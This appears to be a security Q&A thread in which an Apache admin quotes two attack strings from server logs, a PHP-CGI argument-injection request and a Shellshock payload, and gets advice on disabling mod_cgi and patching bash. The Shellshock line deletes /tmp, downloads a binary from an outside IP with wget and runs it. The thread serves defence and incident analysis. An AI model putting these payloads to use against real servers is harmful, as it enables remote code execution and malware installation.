3

I've been monitoring some weird activity in the access logs for my site and I've noticed a couple of weird attempts against the server. I'm wondering if anyone has seen these before. It's an Apache 2.4.6 server.

The first one that caught my attention was

%63%67%69%2D%62%69%6E/%7 0%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D% 64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69 %6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74 %69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65 +%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F %69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D %30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76 %3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A %2F%2F%69%6E%70%75%74+%2D%6E

This is an encoded URL which decodes to

cgi-bin/%7 0hp?-d allow_url_include=on -% 64 safe_mode=off -d suhosin.si mulation=on -d disable_funct ions="" -d open_basedir=none -d auto_prepend_file=php:// input -d cgi.force_redirect= 0 -d cgi.redirect_status_env =0 -d auto_prepend_file=php: //input -n

I'm not an experienced admin so I'm not entirely sure what this is attempting to do. It looks like it's trying to inject a CGI script in the /var/www/cgi-bin which redirects to somewhere, can anyone tell me what this is attempting to do?

The other one I noticed looks like a Shellshock attempt:

"() { :; }; /bin/bash -c \"rm -rf /tmp/;echo wget http://121.12.173.173:81/9521 -O /tmp /China.Z-etryX >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-etryX >> /tmp/Run.sh;echo /tmp/China.Z-etryX >> /tmp/Run.sh;echo r m -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; } ; /bin/bash -c \"rm -rf /tmp/;echo wget http://121.12.173.173:81/9521 -O /tmp/C hina.Z-etryX >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 / tmp/China.Z-etryX >> /tmp/Run.sh;echo /tmp/China.Z-etryX >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"

My final question is: is there any way to completely disable the CGI module for Apache without re-compiling it from source? From my own reading I've found there is a flag that can be set at compilation time to disable this module completely. The server is hosting one static webpage and that's it, do I really need the bare minimum configuration? Any advice?

Improve this question
3
  • Was the Shellshock attempt successful? If so, are you able to share the Run.sh script? Thanks!
    – Vahid
    Jan 15, 2015 at 14:27
  • 1
    The first one looks like CVE-2012-1823, php cgi arg injection. Info here: rapid7.com/db/modules/exploit/multi/http/php_cgi_arg_injection
    – AlexH
    Jan 15, 2015 at 14:31
  • @Vahid Out of morbid curiosity I wish it had but I'd previously patched my bash version :( darkf thanks for the link it looks like it was patched in fedora 15 stable release, i'm not sure how this folds back into centos
    – daark
    Jan 15, 2015 at 14:44

1 Answer 1

Reset to default
0

Look in your httpd.conf file. Find the line that loads the mod_cgi module, and comment it out. Restart the Apache service. Test to confirm that CGI execution is disabled.

Improve this answer
4
  • Thanks for your response, I've checked my httpd.conf file and the only allude to the module loading is this line 'Include conf.modules.d/*.conf' inside this directory their are a few conf directories including 01-cgi.conf. As a test I moved this out the directory and restarted it, everything seems to be alive but I don't know if i'm missing something? Thanks again for your help
    – daark
    Jan 15, 2015 at 14:52
  • Yeah, that conf file you moved probably had the declarations in it to load the cgi module and its dependencies. Apache does that to prevent the code equivalent of the Book of Numbers. If it looks alive and functional, why argue with it? Just keep that file in case things blow up.
    – Ohnana
    Jan 15, 2015 at 15:32
  • shellshock is not just a cgi bug, any script that shells out/ forks() can be abused. The only real fix is to patch bash or atleast replace /bin/sh with a non bash shell.
    – wireghoul
    Mar 20, 2015 at 5:44
  • OP has said that bash had been patched before this request was made, and it failed. They just want to disable CGI because they don't need it.
    – Ohnana
    Mar 20, 2015 at 16:41

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .